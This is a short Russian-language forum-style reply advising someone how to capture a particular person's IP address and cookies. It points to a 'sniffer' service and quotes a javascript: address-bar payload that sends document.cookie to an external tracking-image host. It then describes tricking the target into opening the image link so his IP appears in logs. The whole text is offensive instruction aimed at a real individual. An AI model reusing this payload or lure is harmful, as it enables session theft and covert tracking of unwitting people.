хм если он часто сидит попробуй ему отправить типа как бы ссылку на картинку. от сниффера весь код не бери. только часть. http://hacker-pro.net/sniffer/ регайся зайди в настройки и ищи
JavaScript код для адресной строки: там примерно чето типа этого у тя свое будет! javascript:document.write('<script>img = new Image(); img.src = "http://httpz.ru/nrw2e3i6ozj.gif?"+document.cookie;</script>') берем только ссылку http://httpz.ru/nrw2e3i6ozj.gif надо чтобы он ее открыл. как откроет ip в логах